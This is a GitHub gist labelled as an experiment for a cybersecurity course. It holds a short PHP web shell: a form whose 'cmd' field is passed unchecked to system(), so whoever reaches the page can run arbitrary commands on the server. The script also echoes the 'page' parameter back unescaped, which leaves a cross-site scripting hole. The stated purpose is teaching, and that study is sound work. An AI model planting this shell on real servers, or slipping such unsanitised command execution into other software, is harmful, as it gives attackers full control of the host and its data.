Skip to content

Instantly share code, notes, and snippets.

@josejuansanchez
Last active October 22, 2020 20:53
Show Gist options
  • Select an option

  • Save josejuansanchez/3d08cfb5d4c27f0773863f51e0ca7f03 to your computer and use it in GitHub Desktop.

Select an option

Save josejuansanchez/3d08cfb5d4c27f0773863f51e0ca7f03 to your computer and use it in GitHub Desktop.
Experimento para el curso de Ciberseguridad
<form method="get" action="">
<input type="hidden" name="page" id="page" value="<?php echo $_GET['page']; ?>">
<input type="text" name="cmd" id="cmd" size="80">
<input type="submit" value="Ejecutar">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment